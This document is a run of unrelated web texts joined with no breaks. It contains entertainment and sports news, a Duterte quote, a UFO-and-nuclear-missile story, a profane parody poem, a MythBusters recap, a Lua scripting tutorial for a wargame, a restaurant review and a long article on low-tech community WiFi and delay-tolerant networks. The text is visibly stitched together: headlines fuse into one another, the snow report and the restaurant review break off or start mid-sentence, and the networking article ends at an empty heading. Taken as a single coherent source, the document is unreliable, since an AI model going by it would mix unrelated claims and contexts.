Originally published as Servo bandit was dressed as ZorroWinter may be coming in the season 6 premiere of Game of Thrones in two weeks, but for right now, the cast of the hit HBO show is letting loose and enjoying some playtime. At the season 6 premiere event on Sunday, which also streamed on Facebook Live to more than 2.6 million views, Game of Thrones actors were invited into the House of Black and White Instagram portrait studio to pose with character figurines.
In what other situation will you see Arya and Melisandre dancing together, or a rekindled romance between Margaery and Renly? Check out the fun below.
Keep up with all the latest Game of Thrones coverage by subscribing to our newsletter. Head here for more details.
Even more of these photos and Boomerangs are available on the official Game of Thrones Instagram account. Season 6 of Game of Thrones premieres April 24 on HBO.Valentina Shevchenko has settled into the UFC pretty nicely. And now she has a brand new, long-term contract for her hard work.
Shevchenko signed a new, seven-fight extension with the UFC this week, her manager Roger Allen told MMA Fighting on Friday. UFC officials confirmed the news.
The Kyrgyzstan native is coming off a huge unanimous decision win over Holly Holm at UFC on FOX 20 last month. Shevchenko debuted with a split decision win over Sarah Kaufman last December before falling to now-champion Amanda Nunes by unanimous decision at UFC 196 in March.
Shevchenko (13-2) is a 17-time former Muay Thai world champion and one of the most decorated strikers in the UFC, male or female. The 28-year-old has lived in Peru for the last eight years, but also trains in Houston and Thailand often. Her only two pro MMA losses have come against Liz Carmouche and Nunes.
Most recently, Shevchenko has been campaigning for a rematch with Nunes, who won the UFC women's bantamweight title from Miesha Tate by first-round TKO at UFC 200 in July. "The Bullet" does not have her next fight booked yet.
The 135-pound division is in flux right now. Julianna Pena has a claim as the No. 1 contender. The UFC is also banking on Ronda Rousey returning at some point and facing Nunes. Shevchenko has that win over Holm, who beat Rousey at UFC 193 last November, that she can hang her hat on moving forward.Duterte refused Lucio Tan, big business during campaign
MANILA – President Rodrigo Duterte said Wednesday he refused campaign contributions from taipan Lucio Tan and other big businessmen and insisted on meager funds to make sure he would not be beholden to anyone.
Duterte said he ran his campaign with money from rich friends in his hometown Davao, where he was grounded at times when his war chest ran dry.
“Hindi ako tumanggap ng mga, I tell you, Megaworld, Lucio Tan, along the way it was a shoestring budget,” Duterte said in a speech before a Church-backed election watchdog in Malacanang.
“I am not beholden to anybody. Anak lang ako ng migrant sa Mindanao. Nanay ko maestra lang,” he said.
Duterte said he “could not even imagine” his six-million vote margin over closest rival Mar Roxas, who was backed by the massive machinery of the administration party.
“That kind of message from the people… All that I’m asking is buhay na mapayapa at tama… I was inspired by the multitude,” he said.Last month, Rep. Peter King, R-NY, received yet another letter concerning the alleged surveillance and/or deactivation of nuclear missiles by UFOs during the 1960s and ‘70s. The authors wanted to know why the chair of the House Committee for Homeland Security continues to ignore affidavits from seven Air Force veterans warning of a serious breach surrounding America’s weapons of mass destruction. The retired airmen shouldn’t have been — but almost certainly are — strangers to Capitol Hill. In September 2010, they sounded the alarm at the National Press Club in Washington, D.C., and CNN streamed the event live. The USAF declined to refute their claims and stood by a moldy “fact sheet” last modified in 2005.
One of those who signed the appeal to King was former USAF captain Bob Salas, who was on duty at Malmstrom AFB with the 490th Strategic Missile Squadron in 1967 when 10 nuclear Minuteman weapons went offline as topside security reported UFOs overhead. Salas argues the UFO threats to Uncle Sam’s nuclear arsenal are ongoing, and that “I could get [active duty] Air Force personnel to come forward and testify to his committee about the 50 missiles that went down in Wyoming in 2010.”
But King’s office has not responded, to either the letter or to De Void’s request for a statement. “We just want him to do his job as chairman of the Homeland Security Committee,” says Salas. “We’re ready and willing to give our testimony, and we’re going to keep pressing him for answers. If he doesn’t respond, we will pursue other members of the Committee.”
Letter co-author Victor Viggiani of Zland Communications in Toronto has a log of these one-way correspondences beginning in December 2010. He says he managed to wring a grudging verbal acknowledgement of receipt of the affidavits from a King staffer in January 2011, but little more.
“We’re really not at all impressed with King’s response,” says Viggiani. “If this were a private pilot who managed to fly a Cessna over nuclear launch sites, this would be front-page news.”
But a major player who declined to sign the letter is UFOs and Nukes author Robert Hastings, who has interviewed 120-plus USAF veterans on this issue and assembled the 2010 press conference in Washington. He argues going through Peter King or anyone else in Washington is like giving clarinet lessons to a manatee.
“If the public wants the U.S. Congress to take action on the UFO Disclosure issue, someone has to figure out a way for the corporations to make money on the deal, since they own most of the lawmakers,” Hastings states in an email to De Void. “I also wonder why anyone would look to Congress in the first place, given that they recently received an 8% approval rating among the American people in a major public opinion poll.
“My approach is to educate as many people as possible, via the Internet and other means, about the UFO reality and their presumed pilots’ interest in nuclear weapons, as confirmed in declassified documents and military eyewitness testimony. In other words, a grassroots consciousness-raising effort … Knowledge is power and, at some point, critical mass will be reached. It will become an ‘Emperor’s New Clothes’ situation among the public as a whole, not just UFO proponents. Then things will get really interesting and the potential for governmental candor will be increased.”
Assuming, of course, events haven’t rendered governmental candor extraneous by then.Well I didn’t expect to work on another Those Who Hunt Elves chapter. If you don’t know I dropped the series ages ago because I simply wasn’t interested in it anymore. That and I didn’t really get much of a response from the community. Anyway’s I thought I might as well finish off the last chapter of this volume seeing as there won’t be anymore coming from me in the future at the moment. I hope you enjoy the chapter.
Read Online/Download
DownloadDownload
Note: This is the last chapter I will be doing for free. If you want more, it’s commission from here on out. I simply can’t afford to work on so many projects in my free time without compensation at the moment. This will only apply to this and maybe some other stuff that I’ve dropped, there will be no changes to my other projects.
AdvertisementsOf course you have heard of the book, Go the Fuck to Sleep. I would like to suggest a follow up, inspired by my husband…
———————————
The dishes are washed, everything tidy in its place
The leftovers boxed up, my dear, and the counters wiped away
I’ve asked you six times, don’t make me say it again
Please, for the love of God
Just empty the fucking trash can.
———————————
You work hard and need your rest
I do know that and care
But you slept all night and napped three times
You’ve more than gotten your share
It’s time to awake and get on with the day
Wake the fuck up already, you hear me OK?
———————————
You’ve been flipping for an hour
But have yet to pick a show
Could you be more annoying?
The answer is no.
Surrender the remote, I’ll ask one last time
or I’m kicking you out, on your fucking behind.
———————————
The day is getting dim
Soon it will be night
I can’t see a thing, my love
You have to know I’m right
I’m not as tall as you so I need your larger height
Would it kill you to change that fucking hall light?
———————————
I know you feel sick but I do as well
My nose is stuffy too
and my throat sore as hell
Please stop complaining
It’s just a little cold
So shut up and cope
You’re not that fucking old
———————————
I love you so much
I value what you say
But now I’m trying to sleep
And you’re keeping me awake
For the last time, my sweet,
I just don’t give a crap.
Enough already, really
Just shut your fucking pie trap.
———————————
I’m laying in bed, desperately needing my rest
You’ve been sleeping for hours
Happily passed out on your chest,
How are you so loud, I really don’t know
But if you don’t fucking stop snoring,
You’re gonna have to go.
———————————
Is this too much to ask,
from the man I adore?
I really don’t get why I’m so easy to ignore.
Start listening to me, that’s all there is to it.
Oh, and the dog needs a walk
Just fucking do it.
———————————The MythBusters chose Marshall as one of several NASA locations for an episode to debunk the notion that NASA never landed on the moon.
The cast conducted tests involving a feather, a weight, a lunar soil boot print, and a flag in a vacuum. A team of Marshall scientists helped with the tests.
The MythBusters built a small scale replica of the lunar landing site with a flat surface and a single distant spotlight to represent the Sun. They took a photo and all the shadows in the photo were parallel, as the myth proposed.
They then adjusted the topography of the model surface to include a slight hill around the location of the near rocks so the shadows fell on a slope instead of a flat surface. The resulting photograph had the same shadow directions as the original NASA photograph from Apollo 14.
To test this, they built a much larger scale (1:6) replica of the landing site, including a dust surface with a color and albedo similar to lunar soil.
The MythBusters then took a photograph which was nearly identical to the original NASA photo from Apollo 11. The MythBusters explained that the astronaut was visible because of light being reflected off the Moon's surface.Integrated in Command version 1.06, the Lua scripting language is a new “Event Action” type in the Scenario Editor’s established Event Engine allowing for altering elements of the running scenario. Baloogan, Tomcat and ckfinite have produced an excellent documentation explaining how to use Lua in Command scenarios. What I want to share with you here is my non-advanced user experience of using Lua language as a force multiplier to simplify repetitive work during the scenario design phase.
Using Lua allowed me to get time-consuming tasks done way faster, for example like placing units or reference points in a circle around a facility.
To obtain that result, I simply got on Baloogan Campaign Forum, in the RP Reference Point Drawing Toolkit thread, to copy the draw_circle_of_units function, adapted it to my case by looking up the ID of the unit I want to position around the facility in the ingame Database Viewer.
Here I want to place some Crotale short-range anti-air missile batteries, ID 62, so the function is now:
function draw_circle_of_units(a,b,t,txt) if txt == nil then txt = "" end t = t - 1 lat1 = a.latitude lon1 = a.longitude lat2 = b.latitude lon2 = b.longitude dlat = math.abs (lat2-lat1) dlon = math.abs (lon2-lon1) r = math.sqrt (dlat*dlat + dlon*dlon) for i=0,t-1 do th = 2 * math.pi * i / t rlat = lat1 + r * math.sin (th) rlon = lon1 + r * math.cos (th) ScenEdit_AddUnit({ side= 'PlayerSide', type = 'Facility', dbid = 62, name=txt, lat=rlat, lon=rlon, heading = th * 180.0 / 3.14159}) end end
I paste it in Command’s Lua Script Console and press Run button so it knows it.
Then I also adapt the statement provided by ckfinite to the number of such units and the name I want for them:
local unit = ScenEdit_GetUnit({name=”BA 133 Nancy-Ochey”,side=”France”})
draw_circle_of_units({latitude=unit.latitude, longitude=unit.longitude},{latitude=unit.latitude +.1, longitude=unit.longitude}, 6, “EDSA 9/50”)
Note that “BA 133 Nancy-Ochey” is the name of the facility around which the Crotale batteries will organised, and France is the side on which the facility is and “+.1” mean that the radius will be about 11 km (more on that here).
Then, as you may guess, I paste that statement in the Lua Script Console and run it.
Voila! Simple, isn’t it?
Now, using the same technique, let’s look at another simple example: how to draw a circle of reference point around a facility.
Here I used the reference points to establish a No-Navigation Zones around neutral airports.
So, as above, I simply go get the function on Baloogan Campaign Forum, in the RP Reference Point Drawing Toolkit thread, draw_line here, directly paste it in he Lua Script Console and Run it so Command knows it.
Then I get the statement ckfinite provided and adapted it to:
local unit = ScenEdit_GetUnit({name=”Omara Airport”,side=”PakistanMil”})
draw_circle({latitude=unit.latitude, longitude=unit.longitude},{latitude=unit.latitude +.2357, longitude=unit.longitude}, 12, “”)
local unit = ScenEdit_GetUnit({name=”PAF Pasni”,side=”PakistanMil”})
draw_circle({latitude=unit.latitude, longitude=unit.longitude},{latitude=unit.latitude +.2357, longitude=unit.longitude}, 12, “”)
Here I wanted 12 Reference Points at a 26 km radius.
Dozens of Reference points in a matter of seconds, that’s what I call a true force multiplier!
As we have seen, the Lua language can help in various situations and using it is far from being demanding in term of knowledge, in my opinion it truly is for everyone to use.
What do you think?March 07, 2016 PHOTOS: Snow across the North of England closes over 150 schools and causes accidents on M62
By By Kristina Pydynowski, senior meteorologist March 07, 2016, 12:49:56 AM EST
On the heels of Storm Jake, another depression brought disruptive late-week snow to the north of England.
Snow developed on the north side of the depression around the Pennines on Thursday night and continued until Friday. Snow was not just confined to the hills but also settled in Manchester, Leeds and Bradford.
A snowy scene in West Yorkshire. (Twitter Photo/ @yorkshireguy
Weather observations received by the Met Office indicate that 15 cm (6 inches) had fallen |
light fixtures. When you order you are given a buzzer rather than number, and in the final showmanship touch, each burger or sandwich bun comes with the BurgerFi logo "printed" on the bread itself, actually a thermal branding process where letters are essentially toasted in. Either way, it looks cool.
Reason to visit: Burgers, fries, chili, OMC chocolate concrete.
The food: If you want a fast food burger experience, in many ways BurgerFi is a much better alternative than the traditional large chains. While those are scrambling to reinvent themselves as using less processed ingredients, a hot trend right now, BurgerFi is already there, claiming to use natural Angus beef that is hormone- and antibiotic-free. This is an excellent thing I applaud, assuming it is true. Unfortunately, there is almost no legal definition of "natural beef," and the term is routinely and very widely misused. BurgerFi also claims to sell 100% Wagyu Kobe Beef hot dogs, which in my humble but experienced opinion it clearly does not, and I have to call them out on this. Real Kobe beef, the most prized and expensive beef there is, comes only from Japan. Even at the lowest possible wholesale price, the meat needed to make a frank costs way more than these sell for, and only a minuscule amount of real Japanese Kobe is imported into the country, not nearly enough to supply this chain. There has been much written in recent years about the widespread misuse of the term "Kobe," now ubiquitous on sliders, burgers, steaks and yes, hot dogs nationwide, almost none of which use the real thing. Two major fine-dining restaurant groups recently settled class-action suits over their misleading Kobe menu claims for expensive steaks. This is an immediate red flag, and when I see "Kobe beef" on a menu like this, I immediately assume something's amiss, especially when I specifically ask and am told that yes, the dogs contain Japanese Kobe beef, which is all but impossible.
That being said, most of the food at BurgerFi is very good, and if they cleaned up their menu text to be forthcoming, I could more heartily recommend it. The burgers are very tasty, all doubles using thin but real formed patties, juicy, fresh and meaty like Shake Shack's version, with very good buns. They are available in a pricier brisket version which says it uses 28-day dry-aged grass-fed brisket, but while it is a bit denser and meatier, it didn't taste appreciably better than the very good standard cheeseburger. The basic double comes with double American cheese, lettuce, tomato, BurgerFi sauce and optional bacon, while the brisket adds Swiss, bleu cheese and pickles. The toppings are all good and fresh. There are a couple of notably creative options, like a quinoa patty veggie burger and an all-day breakfast burger with fried egg, hash browns and maple syrup, something you won't find at other fast food spots. In another interesting twist, all burgers are available in lettuce wrap instead of buns.
Fries and hot dogs (there are non-"Kobe" ones too) are available with a wide array of topping choices (salt and vinegar, parmesan and herbs, hot Cajun spices, cheese sauce, chili, chili and cheese). This is another tweak on the fast food model, and the chili in particular is standout, a bit spicy and quite meaty, more like homemade that can stand alone than the thin, sauce-like version typically drizzled on burger and dogs. The onion rings are very good, crisp and hearty, but the fries are even better – fortunately they offer a combo so you don't have to choose. Fries are hand-cut and reminiscent of a county fair, very real, well-browned, and with an assortment of sizes comes an assortment of crispiness – I loved the smaller pieces. These are standout fries and I'd gladly eat them any time, plain or with any of the toppings.
They offer both frozen custard shakes and concretes, the same thick frozen signature Missouri dessert sold at Shake Shack. The shakes, while thick, didn't taste much better than typical fast food models I usually recommend skipping, but the concretes were very good, creative and big, best in their class, more like eating a sundae. There are four specialty concretes like Red Velvet, plus about two dozen toppings and mix-ins for customization. If you get confused, just simplify things by ordering the stunning OMC – Oh My Chocolate. It's fabulous, with huge chunks of chewy chocolate – there must be an entire brownie cut up in this. Add peanut butter, chocolate chips and chocolate sprinkles in chocolate custard and you have a chocoholic's dream.
Pilgrimage-worthy?: No, but a much better and healthier alternative to traditional fast food burgers, great fries, and worth seeking out for dessert if you have a chocolate craving.
Rating: Yum! (Scale: Blah, OK, Mmmm, Yum!, OMG!)
Price: $$ ($ cheap, $$ moderate, $$$ expensive)
Details: Florida-based chain with locations in California, Arizona, Texas, Colorado, Kansas, Illinois, Michigan, Ohio, Tennessee, Alabama, Georgia, South Carolina, North Carolina, Maryland, Virginia, Pennsylvania, New Jersey, New York, Connecticut, Massachusetts and Alaska. burgerfi.com
MORE: Read previous columns
Larry Olmsted has been writing about food and travel for more than 15 years. An avid eater and cook, he has attended cooking classes in Italy, judged a barbecue contest and once dined with Julia Child. Follow him on Twitter, @TravelFoodGuy, and if there's a unique American eatery you think he should visit, send him an e-mail at travel@usatoday.com. Some of the venues reviewed by this column provided complimentary services.
Read or Share this story: http://usat.ly/1BIFjf9If we want the internet to keep working in circumstances where access to energy is more limited, we can learn important lessons from alternative network technologies. Best of all, there's no need to wait for governments or companies to facilitate: we can build our own resilient communication infrastructure if we cooperate with one another. This is demonstrated by several community networks in Europe, of which the largest has more than 35,000 users already.
While the high-tech approach pushes the costs and energy use of the internet higher and higher, the low-tech alternatives result in much cheaper and very energy efficient networks that combine well with renewable power production and are resistant to disruptions.
In rich countries, however, the focus is on always-on connectivity and ever higher access speeds. In poor countries, on the other hand, connectivity is achieved through much more low-tech, often asynchronous networks.
Wireless internet access is on the rise in both modern consumer societies and in the developing world.
Picture: A node in the Scottish Tegola Network.
More than half of the global population does not have access to the "worldwide" web. Up to now, the internet is mainly an urban phenomenon, especially in "developing" countries. Telecommunication companies are usually reluctant to extend their network outside cities due to a combination of high infrastructure costs, low population density, limited ability to pay for services, and an unreliable or non-existent electricity infrastructure. Even in remote regions of "developed" countries, internet connectivity isn't always available.
Internet companies such as Facebook and Google regularly make headlines with plans for connecting these remote regions to the internet. Facebook tries to achieve this with drones, while Google counts on high-altitude balloons. There are major technological challenges, but the main objection to these plans is their commercial character. Obviously, Google and Facebook want to connect more people to the internet because that would increase their revenues. Facebook especially receives lots of criticism because their network promotes their own site in particular, and blocks most other internet applications. [1]
Meanwhile, several research groups and network enthusiasts have developed and implemented much cheaper alternative network technologies to solve these issues. Although these low-tech networks have proven their worth, they have received much less attention. Contrary to the projects of internet companies, they are set up by small organisations or by the users themselves. This guarantees an open network that benefits the users instead of a handful of corporations. At the same time, these low-tech networks are very energy efficient.
WiFi-based Long Distance Networks
Most low-tech networks are based on WiFi, the same technology that allows mobile access to the internet in most western households. As we have seen in the previous article, sharing these devices could provide free mobile access across densely populated cities. But the technology can be equally useful in sparsely populated areas. Although the WiFi-standard was developed for short-distance data communication (with a typical range of about 30 metres), its reach can be extended through modifications of the Media Access Control (MAC) layer in the networking protocol, and through the use of range extender amplifiers and directional antennas. [2]
Although the WiFi-standard was developed for short-distance data communication, its reach can be extended to cover distances of more than 100 kilometres.
The longest unamplified WiFi link is a 384 km wireless point-to-point connection between Pico El Águila and Platillón in Venezuela, established a few years ago. [3,4] However, WiFi-based long distance networks usually consist of a combination of shorter point-to-point links, each between a few kilometres and one hundred kilometers long at most. These are combined to create larger, multihop networks. Point-to-points links, which form the backbone of a long range WiFi network, are combined with omnidirectional antennas that distribute the signal to individual households (or public institutions) of a community.
Picture: A relay with three point-to-point links and three sectoral antennae. Tegola.
Long-distance WiFi links require line of sight to make a connection -- in this sense, the technology resembles the 18th century optical telegraph. [5] If there's no line of sight between two points, a third relay is required that can see both points, and the signal is sent to the intermediate relay first. Depending on the terrain and particular obstacles, more hubs may be necessary. [6]
Point-to-point links typically consist of two directional antennas, one focused on the next node and the other on the previous node in the network. Nodes can have multiple antennas with one antenna per fixed point-to-point link to each neighbour. [7] This allows mesh routing protocols that can dynamically select which links to choose for routing among the available ones. [8]
Long-distance WiFi links require line of sight to make a connection -- in this sense, the technology resembles the 18th century optical telegraph.
Distribution nodes usually consist of a sectoral antenna (a small version of the things you see on mobile phone masts) or a conventional WiFi-router, together with a number of receivers in the community. [6] For short distance WiFi-communication, there is no requirement for line of sight between the transmitter and the receiver. [9]
To provide users with access to the worldwide internet, a long range WiFi network should be connected to the main backbone of the internet using at least one "backhaul" or "gateway node". This can be a dial-up or broadband connection (DSL, fibre or satellite). If such a link is not established, users would still be able to communicate with each other and view websites set up on local servers, but they would not be able to access the internet. [10]
Advantages of Long Range WiFi
Long range WiFi offers high bandwidth (up to 54 Mbps) combined with very low capital costs. Because the WiFi standard enjoys widespread acceptance and has huge production volumes, off-the-shelf antennas and wireless cards can be bought for very little money. [11] Alternatively, components can be put together from discarded materials such as old routers, satellite dish antennas and laptops. Protocols like WiLDNet run on a 266 Mhz processor with only 128 MB memory, so an old computer will do the trick. [7]
The WiFi-nodes are lightweight and don't need expensive towers -- further decreasing capital costs, and minimizing the impact of the structures to be built. [7] More recently, single units that combine antenna, wireless card and processor have become available. These are very convenient for installation. To build a relay, one simply connects such units together with ethernet cables that carry both signal and power. [6] The units can be mounted in towers or slim masts, given that they offer little windload. [3] Examples of suppliers of long range WiFi components are Ubiquity, Alvarion and MikroTik, and simpleWiFi.
Long Range WiFi makes use of unlicensed spectrum and offers high bandwidth, low capital costs, easy installation, and low power requirements.
Long range WiFi also has low operational costs due to low power requirements. A typical mast installation consisting of two long distance links and one or two wireless cards for local distribution consumes around 30 watts. [6,12] In several low-tech networks, nodes are entirely powered by solar panels and batteries. Another important advantage of long range WiFi is that it makes use of unlicensed spectrum (2.4 and 5 GHz), and thus avoids negotiations with telecom operators and government. This adds to the cost advantage and allows basically anyone to start a WiFi-based long distance network. [9]
Long Range WiFi Networks in Poor Countries
The first long range WiFi networks were set up ten to fifteen years ago. In poor countries, two main types have been built. The first is aimed at providing internet access to people in remote villages. An example is the Akshaya network in India, which covers the entire Kerala State and is one of the largest wireless networks in the world. The infrastructure is built around approximately 2,500 "computer access centers", which are open to the local population -- direct ownership of computers is minimal in the region. [13]
Another example, also in India, are the AirJaldi networks which provide internet access to approximately 20,000 users in six states, all in remote regions and on difficult terrain. Most nodes in this network are solar-powered and the distance between them can range up to 50 km or more. [14] In some African countries, local WiFi-networks distribute internet access from a satellite gateway. [15,16]
A node in the AirJaldi network. Picture: AirJaldi.
A second type of long distance WiFi network in poor countries is aimed at providing telemedicine to remote communities. In remote regions, health care is often provided through health posts scarcely equipped and attended by health technicians who are barely trained. [17] Long-range WiFi networks can connect urban hospitals with these outlying health posts, allowing doctors to remotely support health technicians using high-resolution file transfers and real-time communication tools based on voice and video.
An example is the link between Cabo Pantoja and Iquitos in the Loreto province in Peru, which was established in 2007. The 450 km network consists of 17 towers which are 16 to 50 km apart. The line connects 15 medical outposts in remote villages with the main hospital in Iquitos and is aimed at remote diagnosis of patients. [17,18] All equipment is powered by solar panels. [18,19] Other succesful examples of long range WiFi telemedicine networks have been built in India, Malawi and Ghana. [20,21]
WiFi-Based Community Networks in Europe
The low-tech networks in poor countries are set up by NGO's, governments, universities or businesses. In contrast, most of the WiFi-based long distance networks in remote regions of rich countries are so-called "community networks": the users themselves build, own, power and maintain the infrastructure. Similar to the shared wireless approach in cities, reciprocal resource sharing forms the basis of these networks: participants can set up their own node and connect to the network (for free), as long as their node also allows traffic of other members. Each node acts as a WiFi routing device that provides IP forwarding services and a data link to all users and nodes connected to it. [8,22]
In a community network, the users themselves build, own, power and maintain the infrastructure.
Consequently, with each new user, the network becomes larger. There is no a-priori overall planning. A community network grows bottom-up, driven by the needs of its users, as nodes and links are added or upgraded following demand patterns. The only consideration is to connect a node from a new participant to an existing one. As a node is powered on, it discovers it neighbours, attributes itself a unique IP adress, and then establishes the most appropriate routes to the rest of the network, taking into account the quality of the links. Community networks are open to participation to everyone, sometimes according to an open peering agreement. [8,9,19,22]
Wireless links in the Spanish Guifi network. Credit.
Despite the lack of reliable statistics, community networks seem to be rather succesful, and there are several large ones in Europe, such as Guifi.net (Spain), Athens Wireless Metropolitan Network (Greece), FunkFeuer (Austria), and Freifunk (Germany). [8,22,23,24] The Spanish network is the largest WiFi-based long distance network in the world with more than 50,000 kilometres of links, although a small part is based on optic fibre links. Most of it is located in the Catalan Pyrenees, one of the least populated areas in Spain. The network was initiated in 2004 and now has close to 30,000 nodes, up from 17,000 in 2012. [8,22]
Guifi.net provides internet access to individuals, companies, administrations and universities. In principle, the network is installed, powered and maintained by its users, although volunteer teams and even commercial installers are present to help. Some nodes and backbone upgrades have been succesfully crowdfunded by indirect beneficiaries of the network. [8,22]
Performance of Low-tech Networks
So how about the performance of low-tech networks? What can you do with them? The available bandwidth per user can vary enormously, depending on the bandwidth of the gateway node(s) and the number of users, among other factors. The long-distance WiFi networks aimed at telemedicine in poor countries have few users and a good backhaul, resulting in high bandwidth (+ 40 Mbps). This gives them a similar performance to fibre connections in the developed world. A study of (a small part of) the Guifi.net community network, which has dozens of gateway nodes and thousands of users, showed an average throughput of 2 Mbps, which is comparable to a relatively slow DSL connection. Actual throughput per user varies from 700 kbps to 8 Mbps. [25]
The available bandwidth per user can vary enormously, depending on the bandwidth of the gateway node(s) and the number of users, among other factors
However, the low-tech networks that distribute internet access to a large user base in developing countries can have much more limited bandwidth per user. For example, a university campus in Kerala (India) uses a 750 kbps internet connection that is shared across 3,000 faculty members and students operating from 400 machines, where during peak hours nearly every machine is being used.
Therefore, the worst-case average bandwidth available per machine is approximately 1.9 kbps, which is slow even in comparison to a dial-up connection (56 kbps). And this can be considered a really good connectivity compared to typical rural settings in poor countries. [26] To make matters worse, such networks often have to deal with an intermittent power supply.
A node in the Spanish Guifi community network.
Under these circumstances, even the most common internet applications have poor performance, or don't work at all. The communication model of the internet is based on a set of network assumptions, called the TCP/IP protocol suite. These include the existence of a bi-directional end-to-end path between the source (for example a website's server) and the destination (the user's computer), short round-trip delays, and low error rates.
Many low-tech networks in poor countries do not comform to these assumptions. They are characterized by intermittent connectivity or "network partitioning" -- the absence of an end-to-end path between source and destination -- long and variable delays, and high error rates. [21,27,28]
Delay-Tolerant Networks
Nevertheless, even in such conditions, the internet could work perfectly fine. The technical issues can be solved by moving away from the always-on model of traditional networks, and instead design networks based upon asynchronous communication and intermittent connectivity. These so-called "delay-tolerant networks" (DTNs) have their own specialized protocols overlayed on top of the lower protocols and do not utilize TCP. They overcome the problems of intermittent connectivity and long delays by using store-and-forward message switching.
Information is forwarded from a storage place on one node to a storage place on another node, along a path that eventually reaches its destination. In contrast to traditional internet routers, which only store incoming packets for a few milliseconds on memory chips, the nodes of a delay-tolerant network have persistent storage (such as hard disks) that can hold information indefinitely. [27,28]
Delay-tolerant networks combine well with renewable energy: solar panels or wind turbines could power network nodes only when the sun shines or the wind blows, eliminating the need for energy storage.
Delay-tolerant networks don't require an end-to-end path between source and destination. Data is simply transferred from node to node. If the next node is unavailable because of long delays or a power outage, the data is stored on the hard disk until the node becomes available again. While it might take a long time for data to travel from source to destination, a delay-tolerant network ensures that it will eventually arrive.
Delay-tolerant networks further decrease capital costs and energy use, leading to the most efficient use of scarce resources. They keep working with an intermittent energy supply and they combine well with renewable energy sources: solar panels or wind turbines could power network nodes only when the sun shines or the wind blows, eliminating the need for energy storage.
Data Mules
Delay-tolerant networking can take surprising forms, especially when they take advantage of some non-traditional means of communication, such as "data mules". [11,29] In such networks, conventional transportation technologies -- buses, cars, motorcycles, trains, boats, airplanes -- are used to ferry messages from one location to another in a store-and-forward manner.
Examples are DakNet and KioskNet, which use buses as data mules. [30-34] In many developing regions, rural bus routes regularly visit villages and towns that have no network connectivity. By equipping each vehicle with a computer, a storage device and a mobile WiFi-node on the one hand, and by installing a stationary WiFi-node in each village on the other hand, the local transport infrastructure can substitute for a wireless internet link. [11]
Picture: AirJaldi.
Outgoing data (such as sent emails or requests for webpages) is stored on local computers in the village until the bus comes withing range. At this point, the fixed WiFi-node of the local computer automatically transmits the data to the mobile WiFi-node of the bus. Later, when the bus arrives at a hub that is connected to the internet, the outgoing data is transmitted from the mobile WiFi-node to the gateway node, and then to the internet. Data sent to the village takes the opposite route. The bus -- or data -- driver doesn't require any special skills and is completely oblivious to the data transfers taking place. He or she does not need to do anything other than come in range of the nodes. [30,31]
In a data mules network, the local transport infrastructure substitutes for a wireless internet link.
The use of data mules offers some extra advantages over more "sophisticated" delay-tolerant networks. A "drive-by" WiFi network allows for small, low-cost and low-power radio devices to be used, which don't require line of sight and consequently no towers -- further lowering capital costs and energy use compared to other low-tech networks. [30,31,32]
The use of short-distance WiFi-links also results in a higher bandwidth compared to long-distance WiFi-links, which makes data mules better suited to transfer larger files. On average, 20 MB of data can be moved in each direction when a bus passes a fixed WiFi-node. [30,32] On the other hand, latency (the time interval between sending and receiving data) is usually higher than on long-range WiFi-links. A single bus passing by a village once a day gives a latency of 24 hours.
Delay-Tolerant Software
Obviously, a delay-tolerant network (DTN) -- whatever its form -- also requires new software: applications that function without a connected end-to-end networking path. [11] Such custom applications are also useful for synchronous, low bandwidth networks. Email is relatively easy to adapt to intermittent connectivity, because it's an asynchronous communication method by itself. A DTN-enabled email client stores outgoing messages until a connection is available. Although emails may take longer to reach their destination, the user experience doesn't really change.
A Freifunk WiFi-node is installed in Berlin, Germany. Picture: Wikipedia Commons.
Browsing and searching the web requires more adaptations. For example, most search engines optimize for speed, assuming that a user can quickly look through the returned links and immediately run a second modified search if the first result is inadequate. However, in intermittent networks, multiple rounds of interactive search would be impractical. [26,35] Asynchronous search engines optimize for bandwith rather than response time. [26,30,31,35,36] For example, RuralCafe desynchronizes the search process by performing many search tasks in an offline manner, refining the search request based on a database of similar searches. The actual retrieval of information using the network is only done when absolutely necessary.
Many internet applications could be adapted to intermittent networks, such as webbrowsing, email, electronic form filling, interaction with e-commerce sites, blogsoftware, large file downloads, or social media.
Some DTN-enabled browsers download not only the explicitly requested webpages but also the pages that are linked to by the requested pages. [30] Others are optimized to return low-bandwidth results, which are achieved by filtering, analysis, and compression on the server site. A similar effect can be achieved through the use of a service like Loband, which strips webpages of images, video, advertisements, social media buttons, and so on, merely presenting the textual content. [26]
Browsing and searching on intermittent networks can also be improved by local caching (storing already downloaded pages) and prefetching (downloading pages that might be retrieved in the future). [206] Many other internet applications could also be adapted to intermittent networks, such as electronic form filling, interaction with e-commerce sites, blogsoftware, large file downloads, social media, and so on. [11,30] All these applications would remain possible, though at lower speeds.
Sneakernets
Obviously, real-time applications such as internet telephony, media streaming, chatting or videoconferencing are impossible to adapt to intermittent networks, which provide only asynchronous communication. These applications are also difficult to run on synchronous networks that have limited bandwidth. Because these are the applications that are in large part responsible for the growing energy use of the internet, one could argue that their incompatibility with low-tech networks is actually a good thing (see the previous article).
Furthermore, many of these applications could be organized in different ways. While real-time voice or video conversations won't work, it's perfectly possible to send and receive voice or video messages. And while streaming media can't happen, downloading music albums and video remains possible. Moreover, these files could be "transmitted" by the most low-tech internet technology available: a sneakernet. In a sneakernet, digital data is "wirelessly" transmitted using a storage medium such as a hard disk, a USB-key, a flash card, or a CD or DVD. Before the arrival of the internet, all computer files were exchanged via a sneakernet, using tape or floppy disks as a storage medium.
Stuffing a cargo train full of digital storage media would beat any digital network in terms of speed, cost and energy efficiency. Picture: Wikipedia Commons.
Just like a data mules network, a sneakernet involves a vehicle, a messenger on foot, or an animal (such as a carrier pigeon). However, in a sneakernet there is no automatic data transfer between the mobile node (for instance, a vehicle) and the stationary nodes (sender and recipient). Instead, the data first have to be transferred from the sender's computer to a portable storage medium. Then, upon arrival, the data have to be transferred from the portable storage medium to the receiver's computer. [30] A sneakernet thus requires manual intervention and this makes it less convenient for many internet applications.
There are exceptions, though. For example, a movie doesn't have to be transferred to the hard disk of your computer in order to watch it. You play it straight from a portable hard disk or slide a disc into the DVD-player. Moreover, a sneakernet also offers an important advantage: of all low-tech networks, it has the most bandwidth available. This makes it perfectly suited for the distribution of large files such as movies or computer games. In fact, when very large files are involved, a sneakernet even beats the fastest fibre internet connection. At lower internet speeds, sneakernets can be advantageous for much smaller files.
Technological progress will not lower the advantage of a sneakernet. Digital storage media evolve at least as fast as internet connections and they both improve communication in an equal way.
Resilient Networks
